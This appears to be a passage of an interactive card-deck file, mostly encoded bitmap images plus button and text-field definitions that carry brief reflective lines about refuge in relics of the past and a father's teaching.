8fCb7//////////////////3//f/33bv/977///////////////ctrZrtrOe//yfNmaF/////+eBP////////4/kSf//////////////////yf++2ff/vdv/7//////////////9ZkiTMpuzP/9C82s8t/////5+AI////////xv9WX///////////////////v77u982/d+7/+//////////////zl7aZtM2HvbMyzNyX/////w/gI////////zILkn///////////////////m7mu/z/7f77t9+/////////////7Zkm3Jt0yf8p2ttmf/////h/8AD///////j4Zu2///////////////////7b3e8vs3evv/33/////////////+Zp2zNZllvSTs0zKf/////D//jJv//////P8JX////////////////////9PXtt6+9e+e3ffvf////////////btt9ZXJMm0vZl7J/////+H//+J/////++Z3aT/////////////////////Wdu3b59+3d7d9vf////////////zpm1nZNhvS2zdsn/////8P///7N////78yHZa/////////////////////5bttt3163ff+3/fb///////////+3bZrSkn+UtTZ4z/////8v/////////782MP2/////////////////////+mtt22dzvbc2+7f//////////////We7KybZJ83zhv/////w7P/////////x/yz///////////////////////a7bt797u3d7t7+22///////////9tz7SlvpOxrHLf/////zwJ/////////z/8m///////////////////////xtttmmz7bd7vt2//7//////////+82n2W2SabO+Tf/////jwCf////////j//2f//////P////////////////M21u+7T37bdvd823v//////////rmeaVtlbs8yn//////H+EL//////9/3/////////+f////////////////Z5tttt/WTu93d2//e3/////////7s1+22m2YztP/////+P/gg/////+v+P/////////8//////+f/////////zNtttty2/u7bbd829///////////ds2e7LKZts3/////8f/9jP/////78v/////////5///////7/////////+aZtttvu622+7t33b22/////////3It20m225hP/////5f//mN//////5v/////////z///////+/////////+zbrbbac23dy7vbPfv//////////2drPU22WbLf/////3///+b//////5v/////////3//////////////////2WrNbN5221nttvu7e22////////+zJ+ltm1sz////9/n/////v/////x//////////n//////////////////8222be3ttvfu3bbzt3/7f///////m72Wssm2T////3/P///////////h//////////v///////////////////mlrbVs7ts5tvbtn3XW39///////0zadtrsyd/////+f///////////H//////////P///////////////////0umu3NzNtzt23bft/vfb3//////9n20tNN03/////8f//////////+L//////////f///////////////////9luazNt9tvbbbd9tqu29vf//////vyXbZZJ3/////x///////////+T/////////+f////////////////////NM7Nvazba3bttzbe7bt+9//////7G2db7a/////fn///////////8H//////////f////////////////////5ZmczNtttubbbbbZ3vvb72//////c25Wib//////m///////////8//////////9///////////j/////////7LM17bW2227bbb23ubefbv7f////Tmzaeb//////H///////////47/////////5///////////7f/////////KdnJzNtttu22222691+d+3/////+ena43/////+f///////////5wH////////7///////////+f/////////yzObTdmtts22223r7bm/b/bb///85uazv/////83///////////5wSf///////z////////////z/////////+TMzd1vbbb22222u29vtem//v//52k6zP/////5////////////H+CP///////n//////////////////////+1tnSzaXNtm22227bbdvd/tu///7rfaz//////z///////////+P/iF///////P///////////////////////kzOXLp7ebW22223dtt2e1vc7b/u4023//////n///////////8P/8xP//////f///////////////////////8pM2enzltttttttbbbt873d9/vez2yX//////P///////////4P//zP/////+f////////////////////////p22ydLPObtm22227btt7tt92+dnct///////////////////w///9P/////5f////////////////////////pTMnds6s7Nfbbbbbbbdt275/79m1s3/////8////////////y//////////5/////////////////////////7bM2Urbr2ds1ttts23Z7Xbr5nm3ut//////5////////////h//////////z/////////7////////////////I21ttc3M7Oza22222bre3e73e2s7//////n////////////ngf////////z/////////7////////////////yzNmtZzZ2tPtrNttt7e7vd2/007///////O////////////HBL////////n/////////3////////////////7MktNbOnmbc2e9tttm1zs235nZ3N/////+b////////////PAI////////f/////////3////////////////+k3Ztac7O7bzZltbbe3X33bnubtf/////83///////////+P4AX/////2+X/////////v/////////////////zZNra7VtmanvXZ27ZttnPfvaybTP////53///////////8f+CR//////+3/////////f/////////////////9JszKytbOa7Sdpszbtu282bbO7O/////r////////////5//yQ//////+f/////////f/////////////////+yzTa2zpM+1n5n53bbbbz3fac22T////u////////////5///St/////8/////////+///////////////////rTNm03L+012zvJttbbdnvea5mSXf///N////////////5///2t/////8/////////+///////////////////8m22Vk3JtnJmZO6zbbbfa27mu2k///+d/////////////////9/////5/////////8////////////////////SzJtuzbMudu59rrbbbZtu2mbmSn//+////////////////////////z/////////7////////////////////tlmmptmdtt6rzOm2223u82btmRP//+3///////////////////////z//////////////////////////////6WWbLM2bNMjbNNvbbbbbb21m2SVv/8////////////////////////n///////////////////////////////M5ttZpubd+1Z3NZttttttnXZMpv/5////////////////////////n/////////3/////////////////////8zmTXO2bNJrbnNWzbbbb1mbdkmv/7////////////////////////H/////////n/////////////////////5MmbMcza2dms2bebbbbdttzszMf/////////////////////////+f/////////v//////////////////////c2a21mmzbbbZto92bbbapnbzN9/v///////////////////////+f/////////f//////////////3///////5M2mdO2bNLmZsz1W7be7Nu7u3b/7///////////////////////+f/////////f//////////////////////7Myc05ls6eWbzbZ2u22zdbr+///7///////////////////////7/////////+f///////////////////////bWxmzNmzs12TczrMzbPTbP3+//3///////////////////////y/////////8////////////////////////zMzMtZtOW3W3k3Nt3ts2bd3///3b//////////////////////z/////////9///////////////f/////////am50zp21ssuXtdbZu3m7b3///33//////////////////////j/////////5///////////////f/////////SczVrbTNk641tprbttMrbv///3nf/////////////////////L/////////z/////////////////////////+1lZszbc3Zr2lbrW7Ntu2////3P//////////////////////P/////////n/////////f///////////////+2NzpzSzZbWUvZrWzdNNb7///3vu////////////////////+P/////////v////////+/////9///////////ksjLNmzNzbd2bbbvbdfdv////vb////////////////////+f/////////n////////9/////9////////////tu2Zm22TSsmaZas2pbbf///7N3v///////////////////8//////////3////////9//////////////////MkzbOkzbnq+27a72brO////7f3////////////////////5/////////+f////////7//////////////////9tmmct2muWpmWa3NtO+3////3f3f//////////////////5/////////+/////////7/////7////////////7Js2Ztk7ZtbNtbddmdzP///6bd/f//////////////////z/////////8v////////3/////7/////////////tllttOzNm1dm2c3NbXN////7/9+//////////////////z/////////9/////////3/////7/////////////7WdmZatabLVOa67Nm9b///9Xa72//////////////////j/////////9f////////3///////////////////9M5rZrMztttc5rstOzzv///9d7uj/////////////////P/////////8/////////v///////////////7////2kqmy1rMzTZzu2zbvPf///7+3+s/////////////////v/////////5/////////v//////////////S/v///2N5ubnO1rbNnNzPLM8/////s/bZv//////////////////////////5////////////////////////Sb////9tlk0sszaztbdnM297//////97NP//////////////////////////z////////////////////////WT/////mZbW1rXpzLZnbbTbf///+3/9zYZ//////////////////////////z////////+//////////////8mCf////9ZpstbMm3bL2bLNst///9tv/7TrP/////////////////////////n////////+//////f///////9mMb////9mzS0za7ZW2n2ab2z////d+/+2Of/////////////////////////P////////9/////+f///////8k0T/////abbNzTpnmXbNazJFv//+Z77/yZf/////////////////////////P////////9/////+////////5glCf////7sy2nnN2bsttmXbE////77vvst2////////////////////////+f////////7/////9v///////zMhs/////+WTTMm1TZm7bOdbJr///vz+88y3/////////////////////////f////////z/////9////////2Yhoz/////Zdmt3Ldm27bM02CP///+337zzf+///////////////////////9/////////n/////9////////0jBLL/////202zNOpm1m2bT6SZ/////3um23////////////////////////8/////////v/////5////////5idLc3////+ZpnM2bu1m2zNskj/////vu2W3/3//////////////////////5/////////v/////7////////7ARJZ3/////1tmbbZptvtma0wT///f/++1Nn/9//////////////////////5/////////P/////7////////5JFJXv/////nZbbMnbmttmzthl3/+b//7ZM/////////////////////////z////////+f/////z////////7WE6Xa/////+ppma+ZbNnNndkm//8z///lpb3+//////////////////////z////////+//////3////////8SQKb/7/////rbWbMzztvNm1kiu/9mf//+Tb/b7/////////////////////j/////////f/////3////////8yks2u2/////9ZZs03LLbNNvNNv/9mR//8pa+7v/////////////////////n///////////////3////////5iEh2e9/////5TTmz1bfbNZs5N3/9knN//yz/ze3////////////////////P////////8///////////////zMFlN99n/////7bNOmzZbbbtz/b//JmZ//5L3nV/////////////////////P////////5///////////////iZQM223+/////6y1s2rT2zK7f7f/+5kjD/+2/+X2///////////////////+f////////5///////////////2DBpm+/53////6zTLWt3bTOzd//f7zTObH/zf9ttv//////////////////+f////////7///////////////0SaDM9s/3/////m2tctTam2fb///7nbMyWf8//tt9//////////////////8/////////z///////////////9gGrb797dv////2yzS5vu2mc2////v7mSSZ93/bb5v/////////////////8/////////3///////////////9omSTO5t9v/////NnOrq2Vm+z///+bL2Zmlnv/f7vv////////////////v4/////////z////////////////8idX877f7f///+02c6btdNs7v//+9vv6mWTO7ez+9/////////////////5/////////z////////////////bQs2337e7f////zppp5s05tzv///7be25Mpmye/37f////////////////3/////////n////////////////f1m6+db2///////tntz3Zjtvf///271/1kmmSb93/////////////////fD/////////v////////////////+2E9t53232////+zbJzbNubb9////zn22TMZIm3f//////////////////H/////////v//////////////+H7/pve3u/v//////zJtn2qZ7fv/////3v6ZMxkmdd/////////////////+H/////////P//////////////+Y/32u9va7tv/////3uzdmapn2//////3u2iyTJAt//////////////////+P/////////f//////////////8gn39b7u9t////////abNu1u+X////Z//v6WLMpBNs//////////////////P////////+f//////////////5mD//3ft729v/////+58+62U57///+3r//WkUkyBM+3///////////////////////////f//////////////7MEv/+d7Xtv///////7yzbkt3m///+2e3/2WTTJAQpt//////////////////////////////////////////5JkP/++7de2///////vvvdNs2d///+29/f+kMtsBTJs/////////////////4H///////8//////z////////5BIJ//872/9///////u627Zlt53///2229/mYjwREZp7/////////////////If//////9//////n////////5SbJf/93+7t3///////7tzLNOz/3//3tvb/0JN9AJjJk3////////////////wn//////5//////v////////zQDJf//tdrP///////7u93aZ+7b////O2/s+yZ2EpKZJzf///////////////8G//////7//////n////////zYkZJ//73+////////7+79mzrb/9////f7ezmZuICZhZm2////////////////Yf/////5//////n////////yCg2a///O7bf///////7+5mXO2/9////cv9l8y+IMZGTIy7///////////////wn/////z//////P////////yTJDZv//872////////ft7tk92////7//+bE+m7AIxMyZmzv//////////////+n/////z//////P////////2QcM2f//73+3///////e/2pmzm////u3/9+1js3EJJZmxMmb///////////////5/////z/////+f////////8gSY2Z///te3///////f7ezLfa////a9//uxN93ASUxIlYmZv////////////////////n/////+3/////////yDZN/n//93/////////v8nbM1v///3t3/+RpXviCSTZkzMm2////////////////////n/////+f/////////sIZM9v///bf////////v32Te2f///ud7f/Vjf/iKSsSViZmTP///////////////////P/////+f//////////gzbftv//7////////7v3Nubc7///6537f0ma/yCUkyZMzEkv///////////////////P/////8//////////7ZDzftv//+3///////7/3Ym7c3///7v7b/+pz/zNM1KyoyNmy//////////////////+f/////8//////////79M3bfbf///////////73LtO03////s2/2Xpn/+U0lMmKkyMlP/////////////////+f/////5///////////3Q32/bf//////////7/22Z93//////37f19b/91rMJU0szJk3/////////////////8//////5///////////f5l3b7b//////////723mZrmv/////dv9k+b//2u87NjQkmNj/////////////////+//////+////////////+t+23bf///////////+m27u//////97b0j7/+7tzIImNsyYmP/////////////////////////////////////Z3u37f/////////7d22mbs////5N/7/pt7f+7vXIzJYkklkz//////////////////////////////////t//9382+2/////////7/2Vs/1////39//zak3//+7ezJNlpM2Vm/////////////////////////////////////+29277f////////7/e1l2zP///tb7//pJL//c72jJkmTMkpM//////////////////////////////////7f//+z9t9t////////399mnPpP///727v/yVs//d9vMjLbbIsmYn/////////////////////////////////////8/9t/b////////vf22tOsn///3O77f9ZLf/f96s/JJmBksZs//////////////////////////////////////037b/f////////+/Zlv4Jf///e+39/StP/ettos2bWQFJkk///////////////v//////////////////////937b+////////3e6lnPRJ////vc/b3ybf+e7v1MzaZgDNGZL//////////////n/////////////////3////9tv23////////vd+2VPbBb///+39/s+1P+e/vdbfubiAJMps//////////////P///////////////9//f////7v23////////f/+1t3aBf////7d/8vm/+Z5d9yY2aQAXImJf/////////////P///////////////8H9/////7N/t/////////b60mvaA27////99sl07+TX937bmawABbMZL/////////////P///////////////8w///////9nv////////7/3ltO6Arb////798pf3+mdbf72O2yAC2ZJa////////////+f///////////////5BP//////7f/f///////v2+WtvaBO///v//t5Jnv/s2+9724mQACbTJSf///////////+f///////////////7MD///////Z/////////+365pPcAd2//L///7Mm//tu6yDb3ssACf8JST//////////78////////////////+YCf//////3n////////v//rnfYQzX//Nf//ySZf//a3tMbttkAAd+ySW///////////8////////////////8zCP///////f////////+37MtbbAnf//JX//+TJn/3btZRSd/YABd+JaUf//////////5////////////////8nSH///////3v///////3/utzX2Mu//+TLf//yW3//e37DGR55AAd+o2yX//////////z////////////////80UMf///////f///////3t+zNPaQa7/+zKb//2yZ/t63bKKWrzgAb/izCs//////////z//////7/////////5gNkv///////////////v/1nM+7tZ3/+mTS//+Tt/tzvbCykqfyAD/lPmIv/////////n//////y/////////TIjJL////////////////3fM277c33//MzGR//lm/p7237PGlZtAC/5emZP/////////v//////y/////////Jsiclf//////////////33dtmbafvf/3MmWZn/9n/pL337N0tWNgA/9myFZ/////////n//////m/////////YmAnbf///////////////3/TM92/u//3csSTs//P/zbdv/5GlsxoAH/aTMRP////////P//////t/////////IDZGxv//////////////2/7NNt2////23xmuJl/v/2TZ7/bMtKwdEl/bkkzX////////f//////l/////////YAwU7bf//////////////97a2d2////22vMmbNf//83b7H99k/IDRA/22ySJ////////P//////l/////////2EnRP7v/////////////397TLZ2f///9tu82WZp//9y37UO3ZbYA7sm23psyv//////////////L/////////+wDTNz7//////////////b7bcv8n///5tvbxMTLP/99rSRY+7tgAPukC2ukzL//////8f//////L//////////xJabfzf////////////7/7azbZu///7tvfvk2bY//52/yRk77GAB/xMlt5JN//////9///////P//////////vAWzP3b////////////373azPdk///+7be+7SyTj+796ySU3bsAAf/Iytn5BP/////9f/////+X//////////uyTzf7bf////////////3/S229L///+7ttt7NmbON752w6Zk96AA/+JCpu7AP/////9//////+X///////////4Sd3fu3///////////7/6nU32bv///933/3WU205e3702SMzbgAH/ZMlNrYL/////9//////+X//////////3+y33fy3///////////77u2Vttuf////3NtvSZmTXa9bucSZlOwAF/hI0Ze0Bv////5//////8v///////////vinv+/tv///////////7+1vN9v/////+/v/mts2sTt7/wmzN12AB/7JJpZ+Qb////7//////8/////////////8me2/tv//////////9/9tmf5v3///v/7O7IKZ2yzdvb3MGZkOwAP7PSKyEwL////7//////8//////////////m/9v9t//////////729ktbbv///+2//v7ppr23LV7f/80zMjwIb/YbJLZ8C////z//////5f/////////////tt1s/tn/////////7/9tpntv///+3b//NzLO2203bt8zJmZAehB/bjNcwNAz///3//////7f/////////////9t/b37f/////////793Ztve3///+23///xIZb2zW7oH7+mzAGzSf7uTZyD0n///v//////+f///////////////btt/tP////////79/Zp39L///+23b/+CTT9n/trloP36eAB/6ILezOkAcD///v//////////////////+///5be2/2/////////799mztrW///+23dv/5bMv3N7vtDI3XwAAP+ko1vk5AHpn/////////////////////+////2fbb/b////////399mbN+W///+0238/9SS7/fzbcJNm92AAD/0Sze3JAB4n//////////////////////////u79v/t/////////9/e096bv///t27b7+SXP/fb75JCSb2wAD/9JJNtsABfLP/////////////////////////82u6f/////////77+Znz7s////29t9vv62e/e/zzJNJk90AA/+Ikyd7AAfZP///////////////////+//////2777/////////73uzNPum/////5t3/Z+W3/T6f3Jo0mztAA3+JZTJ7IA39S///////////////////+7/////9t9u///////////e2Z8+fP////37/b5eU3fmn537OJZmegAH/LEk2zcAn/TP/////////////////////////+2323////////99/U7r7d//////bq/yT9//mfXn7I5lmzaAF/6YaybdAP/mX/////////////////3/v//////7b7d/////////7+dyu+v////t/+27aS+//ktt//9mTZg9BBf7Tpk0nYJ/mT/////////////////0f///////+2vt////////9v95m7a/////b3/7/4kvv/5s23+3UflkHREP+2eF2w5B/5Mv////////////////zD////////277////////9/9ms3e3////bP//ty2z//zN39D7dmeYB6SL+7wdkoPBP/Mz////////////////mE////////9t///////////7s52e3////be3//aRJf//ZttkPv854AP/AntnWmwB5H+d1////////////////sAf////////t3////////+/7Nlv+l////bfff/YzJn/7/tskw21zkAD20wN+2bMAeD//N////////////////tkj////////9v////////993dNa2t////bad9/8ybP/7ubdpLH7+YAA/+Rppu1sAHYv28n///////////////nISf////////f///////////bZ3/Zv////b73//CyZ/7+9tkksNq4AAP/pGLs3SAA5m/78///////////////meJP/////////////////9vuybu2Vv///s+3vb/8mb377bfpLCx+6AAN/yUZP9sAB/FA3v///////////////tGYn////////////////////bzM7Tf////7be/t5k2/77vdpMNLL9gAH/xJJSbuABP5Nl+///////////////pExKf////////////////+/7Und/mv////fe77c/Nm/6b2fZcZU5N0ADf5MmTTOwAf+pmn7//////////////LAeUv////////////////++7W7b9f3////9+7v9n5vv83n+fRpJjZ7AAf8uyaWfaA3+bLMXv/////////////dCNpb///////////////////atrt33/////2/++J+vv5Tfm/cmaubLgAX/zNiyzcgH/RJl1f/////////////3QI21/////////////////f2as3vb///////938Zvb/7Ntvv/zZJyDyIF/tPGTmOwN/GTTX1////////////+eZJOTX////////////////f361ref////tv/93dlD9/+a22/7PHfGAeAk/2201mh8B/8/NtmP///////////+x7EXt////////////////+/3m3O97////u+///9Mbf/+zNtw/e8b8gG3IP9uTFmgdhP7mszmD///////////+mbSZe2/////////////////3M0t7X////u7//9uRpP//+dv0hftz1gA+8O9s8tNgHyH/sprPg///////////8sD2Jvf7//////////////9ve5lv3N////tvN//6TGX/+27bIlOfeTAAP7QBb2yZgA+J/f7M9gP//////////+0E2Wb3v////////////////8zttfa////7uf3/+GZbf//u7cko9d6AAD/5kTvfbIAPhv9vZ7AD///////////4Af0Z/uf/////////////9932Zr9m////zu/ff/2Tmv/duz5JjG/bgAA/+kya22YAD8Kbu/vIB///////////+in23377/////////////77/M5vum3///32+99/5GOf/97fyJlMOdkABf/RKh22wAF+yZv7aQAP//////////+yI/Of3nv/////////////79s27e7/////3s733/M59/b71uZBJs/cAAX/FImX30AB3zSTffwAT///////////8Jn29/ff////////////9/9m857TP///+2//vffyzn/Pt3sxJLJm9gAH/kSUwnmADf+SbNe2AR///////////+SH/f3tt////////////77dtZr3nf/////5t+9n7Pf/M+2/yeyTM7YAG/zfsmzvoAf+m2ae/kgv//////////fyZ/vf+7v///////////77/Zlu/X/////+3/3/i/M9/Z5u5uvDLMz5AA/+OOM1nMA//MSba9sAj///////////8zn/c/tv///////////73+ZubbP///////bffJv3//lN+7+yGWWYbAQn+yo5lU/AH/EyqWz8JF//////////3/mb/e7/ff//////////3/97Zt/f////////9/TF/f/md59//KVZYH5AD/uO9M1HIN/mSq22bok//////////3/s3/89/dv///////////97SZn23////7b/7b3TMfv/stb1/t6nzmA7Gh/t48ZrB8g/+czWmj65L///////////9m37933u//////////977tzvbb////7v///vyS///7ObbJ7bm7OAPTJP7XhZsgPBP911Vug/+M////////////v//Nt/Pf/////////9/7m2bbt////7e3/+/izJ//3t7dhN72T4AD/8QNvfMzQD8H/fV2mwH95////////////7t//b//d/////////9+/bJ53m////7d7f/7MmU///fX2TJzv2TAAf/TY23YzAAeT/89mvQB//P///////+////v3/fN/b//////////+8zNn3Vf///7e39//Zk1z/79dexLH622AAH98BJ2ftgAHkvz7s+wBP/5///////+/////bf2f/fv////////9v9zbbblf///72/b3/xNmn//vd5iSUr/2AAF/8zMn+8gAF8kXvt1wAP/zP//////+/////dv+/P+///////////dtjJ3iT///7ntvvf/JMv/9+e7kjFi22gAF/8iIym7gAE/tU+f/QAL/zb////////////e//7e/v////////+/9pmb3BL/////u++/fmZv/72+7RGMnW7oAA/+Ipln28AB/5Mx9t4AJv9v////////////25f9u//////////+97rNz+kW////Zt77+36bd/7e9u1cSpE/sgAt+ZjMlPzADf9I1n/2hIf+2/////////////b//e3/////////+/3rZn2oT/////93v/z+s9/5dtu+XmJuw/AAH/xzIrSnIA/+bU2NvwAb/5z////////////3a/93f////////+/vTTO2klv////7/f2yPz7/5Tve94+ZqtNYAJf2HDMvP8A3+ZM5s+0iT/33////////////+e//nv////////+/+3Wd+oI//////t9vyb9v/5mvd92lzbMh8iA/+4eZyY2QH+SSzm5/IEf/fv///////////++9/vv//////////3yW3cwpjf/////3/ky+//7O7bd/czRdgbAID+2zjHZHgN/2zNNtO403+/v////////////+2//v/////////v/G2WdxJB//////ffsyX7/+Znb799j/TAD8yN/e2Oc2BuA/2XZ1tB7cn/7f////////////+3b/v/////////v2222/QkRb//7//9+yk1//+zWfyfz+DbIA9uQ/09ozmAPIP/07zbIf/kk39/////////////93///////////v/Tkm+QiRf//7f//32My//++d6SS3t8awAP+xI31umMAD4t+nzztgD/d21b7////////////93f//////////v63N29ySA///yf///U0kr//97v6WL22zgAB/+RDPu85gA/B//vGuQA/fMt27/////////////3b///////////7qZn9kMk7//zb///xjN2//d3OWSUt++EAAfvzMsvZmAAHZL1u+04An/5s2zf////////////+3//////////3/s7u3IThf//zGf//7GNl//97fcSFT26wAAn/2Ji/f8IAH8yN/7twAH/7N7vf////////////+7f/////////37Z2Z7ZBZP//yWf//+kzN3/v722SaVPe2AAP/wTGJu1gAF/jZtvuwAJ/9Zms7/////////////+//////////37Zs73lG3fv/zpM///ynN//u3e2IxpS98gAJ/5kM2u94AF38lJ7f4Ah/+Tu7zP////////////+//////////v/z52+aS7f//yGsn//9st7/f909mySmj2wAD34mylJt7AE/5mbJ9vhBP/vZtvb////////////////////////8zJt65rt+//zcZM///Frb/TZ39k5ZOeb5ACP+pzMnN7AB/9MrbT+yAL/21t2w////////////////////////7zbzn3S3b//0kxZj//9Pf/T99t5ng0kztAAP/rHkuZPZBP8ZmTfN5CS//bbbYP//////////////////////3uttPPXd/f//0ynZmf/7d//mz773lDTOmfYJB/scdMzTeAf+ZmbSd3gSf++7e0D///////////////////////u5mc/3/9///1psZmx//r//mnurvdNMssDYIDf7zzdmYewD/bc23aPayX/77baA//////////////////////3/Ztb7X//3//tKxiSnP/7//mu2+/9pazZA/hIP7OPpNwDyG/2f2TeB8sm/3v+0AP//////////////////////2Z53v3////9vpJm1k5f///ttt2/3/L/NAH3Yn++8K5kA+gf+z9vaQf/ypve27AD/////////////////////327Zre3v///97fUzTHjX///9ndtJ+3ad6AB/eSH2/ZrYAPyH8/GmbAD/dts9//gA//////////////////////vqZ7tt////9797TEtNaf//77Nu1l7fzWIAP/xINtfUwAB8M/987bQC//lZzdtyBP////////////////////7+s7Z/t////9732mWzJS1//7tu7JLXu2cQAD/vFpu29yAAfw7t3zbQAH/9ZvZ/3AD////////////////////325zbzJ////9zvf+UpOu23///e7ZpNe94gAC//MTNvtkAAvzJP/fbQAn/5r63pfkC////////////////////v2zPW/vP////329t2zqaUr/93duxJU3d2gACf/YpJe3cAAn/JZN9+QBD/9rJrbm8Ef///////////////////vvtc25sf////b37/2nK01sn93buyZWTd/YAAX/RIzJ3dgAHfyTbb24ABv+bf23A7gf///////////////////v+s1m91/////dtvvfsZlmt+9/vvIxSbN60AAn/2ZTKn/SAX/yabPv+BCf/bZXbYHpO///////////////////v257O91f////+9++/9zWMpkp7udszSma77IAD/yTEmbOcAFv6SyaftpCJ/2922wB+W///////////////////f2zk99tv////2777+5OZtttt7t92WSmTL3oAE/+NsyUs+wJ/4mGztvyAG//bbuyEP7////////////////////3tOzdtv//////vf/7ozmZptX73vN/mecnaBAb+04lmzewA/7Wc3Ob/Akf++7u2AB////////////////////ves8/dv//////2+d3fLnNprpNzuu821ozz9IAn/tbsmnJ2Bb+Mkzd5NkiX/77N0AAf////////////////////c550/ff//////7/39ZNtnzLa32/7ZZm3APwSC/8kcrMwegH/yubNnH8st/3v9kAQj/z/////////////////3f1lt7d///////3vf/TRnPXbZt3t3tltZUDbEIv56RplhG0if3J8++Qfti//e3+AAD/+/////////////////3+bbbvb////////+/9MTNe22TW2v/ezbZxBfmwn/9tlnMA9C//dnzZgH/1JM9/bkCJf5v////////////////325prOfv////2//77vYyb2222dt7e97LbyAH3tFeb8lZMAPkH+9u3dkC//dt39/sCB//n////////////////39rTzf+/////v7//3+Zmzbd3u7u1N736fiAB/vMh9r7J2AB8V/36zbYAP+5bWb28gBP+b////////////////322dn3N/////c3v//byUmft3u2u5SXvbaaAAP/4rG3vOyAAfJv3b2uoAn/+zN7f7iBf/7v///////////////3+5Z23d/////59///+mZmb/bv97ZjJe/2wAAT/7IYveeSAAXsr/736YAA//bbm0vsCX/Gn////////////////2z3bv3f////r93f/+yStv/fvtntKG17fSQAD/+ZRm5/cgAF+ZC33tsAJv/VzO34/QP/ef///////////////722ma+mf////vbfd//lmZmf+fe/aYsTXt8gAEv8xGUT22gAm/5WXfv4AIP/Wf9toPYm/bcv//////////////vvm225+/////7e9/3/+WZvf+/dttJJktfzgAA//jMZ1v7IAD/5Jc9vbBIb/877dqR8n/2c3///////////////emnbf1v////3a72///JNrf//ffaUUMy3fkABN/KYyk2t8ATP8ykzff0AD/5//tuAPz/2a1//////////////79vu29tv////979v7t/2mbf/N+9vZZZlLd2AAF/55KZhb7ABf8zObN/ZASf/t/bbED/v2+tg==&#34;&#xA;{widgets}&#xA;btn_prev:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[16,313],&#34;script&#34;:&#34;card1.0&#34;,&#34;text&#34;:&#34;&lt; Prev.&#34;}&#xA;btn_next:{&#34;type&#34;:&#34;button&#34;,&#34;size&#34;:[60,20],&#34;pos&#34;:[438,313],&#34;script&#34;:&#34;home.0&#34;,&#34;text&#34;:&#34;Next &gt;&#34;}&#xA;field1:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[323,58],&#34;pos&#34;:[175,24],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my second refuge was in relics of the past.\n\nfailed philosophies, dead languages, and the ancestors of the machines I command.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;field2:{&#34;type&#34;:&#34;field&#34;,&#34;size&#34;:[184,20],&#34;pos&#34;:[314,91],&#34;locked&#34;:1,&#34;show&#34;:&#34;invert&#34;,&#34;border&#34;:0,&#34;value&#34;:{&#34;text&#34;:[&#34;&#34;,&#34;my father taught me this.&#34;],&#34;font&#34;:[&#34;&#34;,&#34;lucx13&#34;],&#34;arg&#34;:[&#34;&#34;,&#34;&#34;]}}&#xA;&#xA;{card:card4}&#xA;image:&#34;%%IMG0AgABVgAAAAkjNkQBm222fPLTJyZbbNsy22SSSTMZkRJlMkkJJpAGDJDKZimymWRRRCRCZk5ttksm3+7bbNtdm222ybcAAAAAKM2QAGNttsss22mzUksxmZJKZJNJpJkpGZtspMSLYMkZIxGJAkEZTTGTWTGZm226/alnbbNm1e9bfbzJAAAAJI2zYAAskkmZrSzazW2zJmZkmy20zKZkyZJEgjIxYhsjZiyUZllsyySaWSWds2ZJts1vOWbffbZt9/9mbAAAAACSWSAACrNMZmNmlkyJLMySTaSQTLJZBhZmZJmJjBjAMAKApjDNEmKyysy2zMzZ/tdm1NubbZt//7//2zYAAAASEs2AAAKMsySa0zEyskkzMzJkxkMLSbGkSZkkSSLEnYzY2kmLIZMYmmSzmmZutyZtOrfW+23v3////tmTAAAAAEmmYAAE2ZM1khltpkzTJMyIkykyZCYpKZhDJlJKJSCKRBMYmDZszUk3Nmszs6zZqds5Ns22/f////+maQAAAAkkcoAABSZYyWWkiJlJNMyQyxgpGJSwikomWMkSSSkmYydExmWEQiVlmc2t3Nlrm7tVzu2/////////tmwAAAACE1qgAAEkzJoZJqZJMwRSTTBlhMaTCsZSwwgRSSTIklCYbGUE2ZsyNmZptM1OWmzOZvb/+////////tmTAAAAEJJNIAAAWSZiiMgzZpTZEyUGhHIhIUoxJFjnVEkyEsmckokZchJkypLbNlZna5bmc7693//////////M1gAAAAQk5cAAAEMzDKYTCJLEhYiw2JkJmSxRJKUSEEYkiZYsIySTIktmSSmZmdbbMrLnO7377///////////dlkAAAABCbZAAAAIiNExIMiQMmRoiiMiSESCRRKTJJMppKRhI0hlMmYpKZskZm5ZqZqc+d/v/////////////2dLAAAAAEkzIAAACIkzCSgmTRsZBkmIZJMksizKSMzMoBkmTMlNk0mRpIkk1k2zrSzt7z/3//////////////+5bAAAAAIEzIAAAAZlCMpLISFAgmRETJGRKQmISSxDIJbDGRI0MBhMNJbWZJNZnKbWp2vvf///////////////trYAAAAAJLbAAAAAEMxSQJkkTLKRkkKWTIlIYzGDMDZSJMGmk4bGY0ySUpspsm2y272//////////////////9aTAAAAAAIzIAAAAZIjEZSEkCIMkjIyQEJGSxImWJ2FJJg2KZjSZJjDaSmZ7K/vf29///////////////////95+QAAAACRTSAAAAAJIKQkZIMJQSZJiSkyUJCZiEZCaSTDEMlmMhmGMk2tZl/tu83/////////////////////724AAAAABGzAAAAASRkmYxJgREkhCEkmJJk0xGZhShLLLM02SY2SZZmWZn/3f////////////////////////+22AAAAAAEzIAAAAAJESRiSGBCAGSZEkYklBjMRmTGUmGSrZttkzJlmc7vf////f/////////////////////+9twAAAAARGyAAAAAgkkkEiYaSJIChMkhZJMkIzBZMZSaTMtm2UmWzbt//////////////////////////////9/0AAAAABMzAAAAACCIk5GhgiQAkmQkmRJIxZiLBkylpu1ybJNs2btv///////////////////////////////7fAAAAAAA1kAAAAAMJkhMGGSRJAATJJZJJBJEybLKbW0zNptmtm9v/////////f//////////////////////79wAAAAACVGAAAAAASEkSZMREgAJEJJBJJNYZjSZM1tZms2yTLf///////////////////////////////////30AAAAAAU8gAAAAACIkyJEkkjJIMySbJJIhZmWTZ2SxkiRJLPf/////////////////////////////////////AAAAAAgykAAAAACEhCSWIiJJAQhJILJLLJJSebJtjJmZt27f////////////////////////////////////7wAAAAAClsgAAAAAETESQpmJCTDCSUyJKMqZm0yakmZkzrb3/////////////v///////////////////////f8AAAAAAJkgAAAAAAJEwkjESSSMMiRLJaZTbazGSZJTJmb/////////////////////////////////////////AAAAAAhmZAAAAAAAkikkJGSQgwyzMNSVnGZks2Rtmbt//////////////////////////////////////////wAAAAACJpAAAAAAAJIkJSWSSmDBiZZSWaaSUyk2TOzN////////////////////////////////////7/////8AAAAAIZmQAAAAAAAsxJEQEkkcNkzJLspimZJMk7dv///////////////////////////////////3+/////